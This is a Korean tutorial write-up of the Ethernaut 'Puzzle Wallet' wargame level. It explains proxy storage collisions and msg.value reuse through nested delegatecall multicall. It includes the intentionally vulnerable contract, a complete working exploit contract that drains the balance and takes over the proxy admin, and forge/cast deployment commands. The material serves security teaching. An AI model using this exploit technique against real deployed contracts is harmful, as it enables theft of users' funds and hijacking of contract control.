> For the complete documentation index, see [llms.txt](https://whs3-doge5k.gitbook.io/smartcontract-security-docs/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://whs3-doge5k.gitbook.io/smartcontract-security-docs/ethernaut/24.-puzzle-wallet.md).

# 24. Puzzle Wallet

\#delegatecall #proxy patterns

> 요즘 디파이(DeFi) 거래 수수료는 엄청나게 비쌉니다. 사실상 감당이 불가능할 정도죠.
>
> 어느 날, 친구 몇 명이 여러 트랜잭션을 한 번에 일괄 처리하여 가스 비용을 조금 줄이는 방법을 발견하고, 이를 위한 스마트 컨트랙트를 개발했습니다.
>
> 이들은 코드에 버그가 있을 경우를 대비해 이 컨트랙트를 업그레이드할 수 있어야 했고, 그룹 외부의 사람들이 이를 사용하지 못하도록 막고 싶었습니다. 이를 위해 그들은 투표를 통해 시스템에 두 가지 특별 권한 역할을 만들었습니다: 관리자(Admin)는 스마트 컨트랙트의 로직을 업데이트 할 수 있는 권한을 가집니다. 소유자(Owner)는 컨트랙트를 사용할 수 있는 주소의 화이트리스트를 관리합니다. 컨트랙트가 배포되었고, 친구들의 주소는 모두 화이트리스트에 올랐습니다. 모두가 악덕 채굴자들과의 전쟁에서 승리했다며 환호했죠.
>
> 하지만… 그들의 점심값은 위험에 빠져있었습니다.
>
> 당신은 이 지갑을 하이재킹하여, 프록시의 관리자가 되십시오.
>
> 도움이 될 만한 것들:
>
> * `delegatecall`이 어떻게 작동하는지, 그리고 `msg.sender`와 `msg.value`가 그 안에서 어떻게 작동되는지 이해해보세요.
> * 프룩시 패턴이 저장소를 어떻게 다루는지 알아보세요. (특히 변수 충돌(storage collision)에 주의!)

### 들어가기 전에

#### `delegatecall`

자세한 내용은 [call vs delegatecall](/smartcontract-security-docs/basics/2./undefined-2/call-vs-delegatecall.md) 개념과, 앞의 delegatecall 취약점을 이용한 문제 [6. Delegation](/smartcontract-security-docs/ethernaut/6.-delegation.md) [16. Preservation](/smartcontract-security-docs/ethernaut/16.-preservation.md)를 참고하자.

#### 프록시 패턴(proxy patterns)

블록체인의 불변성 때문에, 컨트랙트에 취약점이 발생 시, 새로운 버전의 컨트랙트를 배포하고 마이그레이션 하는 등의 방법을 사용해 보수할 수는 있지만, 스토리지에 저장된 모든 정보 또한 새로 마이그레이션 하기엔 어렵고 비용도 만만치 않다. 이런 이유로 프록시 패턴은 스마트 컨트랙트의 **로직(logic)과 데이터(storage)를 분리**하여, 배포된 컨트랙트를 **업그레이드**할 수 있도록 만드는 설계 방식이다.

* **프록시 컨트랙트 (Proxy Contract)**
  * 사용자와 직접 상호작용하는 **영구적인 주소**를 가진 껍데기 컨트랙트.
  * 모든 데이터를 저장하고, 업그레이드할 로직 컨트랙트의 주소를 기록한다.
  * 사용자의 모든 함수 호출을 `delegatecall` 기능을 통해 로직 컨트랙트로 전달한다.
* **로직 컨트랙트 (Logic Contract / Implementation Contract)**
  * 실제 모든 기능과 비즈니스 로직을 담고 있는 컨트랙트.
  * 필요시 새로운 버전의 로직 컨트랙트를 배포하여 교체(업그레이드)할 수 있다.

#### 프록시 패턴의 장점과 위험

* **장점**:
  * **업그레이드 가능성**: 버그 수정, 기능 추가 등 배포된 컨트랙트의 로직을 개선할 수 있다.
  * **데이터 보존**: 업그레이드를 하더라도 기존의 모든 사용자 데이터와 상태가 그대로 유지된다.
  * **비용 절감**: 새로운 로직 컨트랙트만 배포하면 되므로 비용이 저렴하다.
* **위험**:
  * **스토리지 충돌 (Storage Collision)**: 프록시와 로직 컨트랙트의 상태 변수 순서나 구조가 다를 경우, 데이터가 덮어쓰여져 파괴될 수 있다.
  * **초기화 부재**: 업그레이드 후 새로운 로직 컨트랙트의 초기화 함수를 호출하지 않으면 취약점이 발생할 수 있다.

***

### 원본 소스 코드

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
pragma experimental ABIEncoderV2;

import "../helpers/UpgradeableProxy-08.sol"; 

contract PuzzleProxy is UpgradeableProxy {//[1]
    address public pendingAdmin;
    address public admin;

    constructor(address _admin, address _implementation, bytes memory _initData)
        UpgradeableProxy(_implementation, _initData)
    {
        admin = _admin;
    }

    modifier onlyAdmin() {
        require(msg.sender == admin, "Caller is not the admin");
        _;
    }

    function proposeNewAdmin(address _newAdmin) external { //[2]
        pendingAdmin = _newAdmin;
    }

    function approveNewAdmin(address _expectedAdmin) external onlyAdmin {
        require(pendingAdmin == _expectedAdmin, "Expected new admin by the current admin is not the pending admin");
        admin = pendingAdmin;
    }

    function upgradeTo(address _newImplementation) external onlyAdmin { //[3]
        _upgradeTo(_newImplementation);
    }
}

contract PuzzleWallet {
    address public owner;
    uint256 public maxBalance;
    mapping(address => bool) public whitelisted;
    mapping(address => uint256) public balances;

    function init(uint256 _maxBalance) public {
        require(maxBalance == 0, "Already initialized");
        maxBalance = _maxBalance;
        owner = msg.sender;
    }

    modifier onlyWhitelisted() {
        require(whitelisted[msg.sender], "Not whitelisted");
        _;
    }

    function setMaxBalance(uint256 _maxBalance) external onlyWhitelisted {//[4]
        require(address(this).balance == 0, "Contract balance is not 0");
        maxBalance = _maxBalance;
    }

    function addToWhitelist(address addr) external {
        require(msg.sender == owner, "Not the owner");
        whitelisted[addr] = true;
    }

    function deposit() external payable onlyWhitelisted {
        require(address(this).balance <= maxBalance, "Max balance reached");
        balances[msg.sender] += msg.value;
    }

    function execute(address to, uint256 value, bytes calldata data) external payable onlyWhitelisted {
        require(balances[msg.sender] >= value, "Insufficient balance");
        balances[msg.sender] -= value;
        (bool success,) = to.call{value: value}(data);
        require(success, "Execution failed");
    }

    function multicall(bytes[] calldata data) external payable onlyWhitelisted {
        bool depositCalled = false;
        for (uint256 i = 0; i < data.length; i++) { //[5]
            bytes memory _data = data[i];
            bytes4 selector;
            assembly {
                selector := mload(add(_data, 32))
            }
            if (selector == this.deposit.selector) {
                require(!depositCalled, "Deposit can only be called once");
                // Protect against reusing msg.value
                depositCalled = true;
            }
            (bool success,) = address(this).delegatecall(data[i]); //[6]
            require(success, "Error while delegating call");
        }
    }
}
```

{% code overflow="wrap" %}

```
[1]: 윗줄에서 import한 UpgradeableProxy를 PuzzleProxy가 상속받는다. is 키워드가 상속을 뜻한다.
[2]:  새로운 관리자 후보를 제안하는 함수로, onlyAdmin 같은 접근 제한이 없어 누구나 pendingAdmin 변수를 바꿀 수 있다.
[3]: 부모 컨트랙트로부터 상속받은 실제 업그레이드 로직을 호출한다.
[4]: maxBalance 변수를 변경한다. 공격할 때 사용할 함수이다.
[5]: 어셈블리를 사용하여 calldata에서 함수의 셀렉터(selector), 즉 함수의 고유 식별자(앞 4바이트)를 추출하여 함수 호출 데이터(calldata)를 순서대로 하나씩 실행하기 위한 반복문이다.
이때, 조건문을 통해 동일한 multicall 내에서 deposit 호출이 두번 이상 되는 것을 막는다.
[6]: address(this)는 delegatecall의 대상이 되는 주소이다. 이 코드는 PuzzleWallet 로직 컨트랙트에서 실행되지만, delegatecall의 컨텍스트는 PuzzleProxy이므로 address(this)는 프록시 컨트랙트의 주소를 가리킨다.
```

{% endcode %}

***

### 공격 시나리오

#### `delegatecall` 취약점

언뜻 보기에는 `admin`을 변경하는 `approveNewAdmin` 함수가 `onlyAdmin`으로 보호되어 있어 불가능해 보이지만, 이 레벨의 핵심은 **프록시(Proxy) 컨트랙트와 `delegatecall`의 허점**을 이용하는 것이다.

`delegatecall`은 `PuzzleWallet`의 코드를 가져와서 **`PuzzleProxy`의 스토리지 위에서 실행한**다. 즉, `PuzzleWallet`의 함수가 변수를 바꾸면, 실제로는 `PuzzleProxy`의 변수가 바뀐다.

| 스토리지 슬롯 | PuzzleProxy (프록시) | PuzzleWallet (로직) |
| ------- | ----------------- | ----------------- |
| Slot 0  | pendingAdmin      | owner             |
| Slot 1  | admin             | maxBalance        |

따라서 `PuzzleProxy`의 Slot1 변수 admin을 변경하도록 `setMaxBalance()`를 실행시키는 것이 목적이다. 그러기 위해선 먼저 owner 권한을 갖기 위해 Slot0을 공유하는 pendingAdmin을 변경하고, 이후 `setMaxBalance()` 를 실행시켜야 한다.

#### 잔고 0 만들기

이때, `setMaxBalance()` 속 이 컨트랙트 잔고가 0인지 판별하는 조건문이 있는데, 우리가 문제 인스턴스를 생성할 때 이미 0.001 ETH를 전송했기 때문에 이 잔고를 0으로 만들어야 한다.

한편, 코드를 보면 deposit 함수가 두번 이상 호출하는 것을 막았다. 따라서 multicall을 호출할 때, calldata로 deposit을 여러번 호출하는 방법이 아닌, deposit 하나를 담은 multicall을 multicall안에 담아 재호출하는 방법을 사용할 것이다. 왜 재호출을 해야 잔고가 0이 되게 만들 수 있는지는 re-entrance 문제를 참고하자.

내가 배포한 컨트랙트로 문제 인스턴스에 보내는 금액는 0.001 ETH이지만, 문제 인스턴스의 `balance[msg.sender]` 에는 내가 0.002 ETH를 보낸 것으로 인식시켜, 인스턴스 생성 시 존재했던 0.001 ETH와 내가 보낸 0.001 ETH를 모두 빼와 잔고를 0으로 만들 수 있게 한다.

#### 정리

1. `owner` 권한 갖기
2. 공격 컨트랙트 주소를 화이트리스트에 등록하기
3. deposit 함수를 담은 multicall을 multicall 안에 담기
4. multicall 호출해 문제 인스턴스의 잔고를 0으로 만들기
5. `setMaxBalance()` 함수로 `admin` 자리 덮어쓰기

***

### 공격 코드

```solidity
	// SPDX-License-Identifier: MIT
	pragma solidity ^0.8.13;
	// PuzzleProxy에서 호출해야 할 함수 인터페이스
	interface IPuzzleProxy {
	    function proposeNewAdmin(address _newAdmin) external;
	}
	
	// PuzzleWallet에서 호출해야 할 함수 인터페이스
	interface IPuzzleWallet {
	    function addToWhitelist(address addr) external;
	    function setMaxBalance(uint256 _maxBalance) external;
        function deposit() external payable;
        function execute(address to, uint256 value, bytes calldata data) external payable;
        function multicall(bytes[] calldata data) external payable;
	}

    contract Exploit {
        IPuzzleProxy public proxy;
        IPuzzleWallet public wallet;
        bytes[] public multicall_data;
        bytes[] public deposit_selector;

        constructor(address _proxyaddress) payable
        {
            proxy  = IPuzzleProxy(_proxyaddress);
            wallet = IPuzzleWallet(_proxyaddress);
        }

        function exploit() public {
            proxy.proposeNewAdmin(address(this));   //[1]
            wallet.addToWhitelist(address(this));   //[2] 

            deposit_selector.push(abi.encodeWithSelector(wallet.deposit.selector));   //[3]
            multicall_data.push(abi.encodeWithSelector(wallet.deposit.selector));
            multicall_data.push(abi.encodeWithSelector(wallet.multicall.selector, deposit_selector));
            multicall_data.push(abi.encodeWithSelector(wallet.execute.selector, msg.sender, 0.002 ether, ""));
            wallet.multicall{value: 0.001 ether}(multicall_data);

            wallet.setMaxBalance(uint256(uint160(msg.sender)));   //[4]
        }
    }
```

#### **\[1]: 배포한 공격 컨트랙트 주소(CA)를** pendingAdmin으로 등록해 owner 권한을 갖는다.

#### **\[2]: 배포한 공격 컨트랙트 주소(CA)를 `Whitelist`에 추가시킨다.**

#### **\[3]: `multicall` 공격으로 잔고를 0으로 만든다.**

이 `multicall`의 `data`에는 두 개의 호출이 들어있다.

1. `deposit()`
2. `multicall( [deposit()] )`

#### **상세 과정**

1. **외부 `multicall` 시작**
   * `msg.value`는 `0.001 ether`
   * **`depositCalled` 변수가 `false`로 생성**
2. **첫 번째 호출: `deposit()` 실행**
   * `delegatecall`로 `deposit()`이 실행
   * `balances[공격자]`는 `0.001 ether`만큼 증가
   * `PuzzleProxy`의 실제 ETH 잔액은 (기존 0.001) + (새로 받은 0.001) = `0.002 ether`
3. **두 번째 호출: `multicall( [deposit()] )` 실행**
   * `delegatecall`로 `multicall` 함수가 **재귀적으로 호출**
   * 이 실행 환경에서는 **새로운 `depositCalled` 변수가 `false`로 다시 생성되어 조건문을 우회할 수 있다**.
4. **내부 `multicall` 시작**
   * `delegatecall`의 특성상, 최초 트랜잭션의 `msg.value`(`0.001 ether`)가 **그대로 유지**.
   * 내부 `multicall`은 `deposit()`을 호출.
   * `balances[공격자]`가 **다시 한번 `msg.value`(`0.001 ether`)만큼 증가**.
   * **결과**: `balances[공격자]`는 (이전 0.001) + (이번 0.001) = `0.002 ether`가 된다.(실제 보낸 금액은 `0.001 ether`)

이제 공격자의 `balances`은 `0.002 ether`이고, `PuzzleProxy`의 실제 ETH 잔액도 `0.002 ether` 이다. 두 금액이 같아졌기 때문에, 다음 단계에서 `execute` 함수를 호출하여 프록시의 모든 자금을 성공적으로 인출할 수 있게 된다.

#### \[4]: `setMaxBalance`에 내 주소를 집어넣으면 Slot1을 공유하는 admin 권한을 획득할 수 있다.

아래 명령어를 통해 공격 코드를 배포하여 배포한 CA주소를 얻어내었다.

```bash
forge create --broadcast src/Puzzle\\ Wallet_Exploit.sol:Exploit --value 0.001ether --private-key $PRIVATE_KEY --rpc-url $RPC_URL
```

<figure><img src="https://3512650551-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FvLae9iTcYKyLdHhMtRVd%2Fuploads%2FHLaoU2JNCuIuQd2C9WO3%2Fimage%20(21).png?alt=media&amp;token=27785317-8654-4ae7-a599-335e2c0f0c88" alt=""><figcaption></figcaption></figure>

배포한 CA로 cast를 통해 exploit함수를 실행해 `multicall` 및 `setMaxBalance`를 실행시킨다.

```bash
cast send --rpc-url $RPC_URL --private-key $PRIVATE_KEY $DEPLOY_ADDR "exploit()"
```

실제로 Etherscan에서 해당 트랜잭션을 검색해 deploy 주소(배포한 CA)에서 인스턴스 주소로 0.001ETH가 빠져나가고, 다시 0.002 ETH가 인스턴스 주소에서내 주소로 빠져나가는 것을 확인 할 수 있다. 이로 인해 인스턴스의 잔고는 0이 되어 `setMaxBalance` 가 실행된다.

<figure><img src="https://3512650551-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FvLae9iTcYKyLdHhMtRVd%2Fuploads%2FxD8urpUXPCP2ZjT9U60o%2Fimage%20(22).png?alt=media&amp;token=fac92f1b-c168-4383-bc54-3f8399af404b" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3512650551-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FvLae9iTcYKyLdHhMtRVd%2Fuploads%2FApaxECOFT8oIOLoaujdY%2Fimage%20(23).png?alt=media&amp;token=1c574ebd-ca71-48c7-9854-10e48be3dc0d" alt=""><figcaption></figcaption></figure>

***

### :bangbang:더 알아보기 :bangbang:

> 다음부터 이 친구들은 돈을 예치하기 전에 보안 감사를 요청하게 될 것입니다. 축하합니다!
>
> 프록시 컨트랙트를 사용하면 업그레이드 가능성과 배포 시 가스 절감이라는 이점이 있어 널리 권장됩니다. 하지만 이번 레벨에서 보았듯, 저장소 충돌(storage collision)이 발생하지 않도록 주의해야 합니다.
>
> 또한, ETH를 소모하는 작업들을 반복할 때 개발자가 `msg.value`의 변화를 직접 수동으로 추적하지 않으면 문제가 생길 수 있습니다. ETH가 소비되더라도 `msg.value`는 트랜잭션 전체에 걸쳐 고정되기 때문이죠. 또한 멀티콜(Multicall) 패턴을 사용할 때 자체적으로는 안전해보이는 함수도 `delegatecall`로 여러 번 실행하면, 예상치 못한 ETH 전송이 발생할 수 있습니다. 왜냐하면 `delegatecall`은 호출된 함수에서도 원래 트랜잭션의 `msg.value`를 유지하기 때문입니다.
>
> 준비가 되면 다음 단계로 넘어가세요!
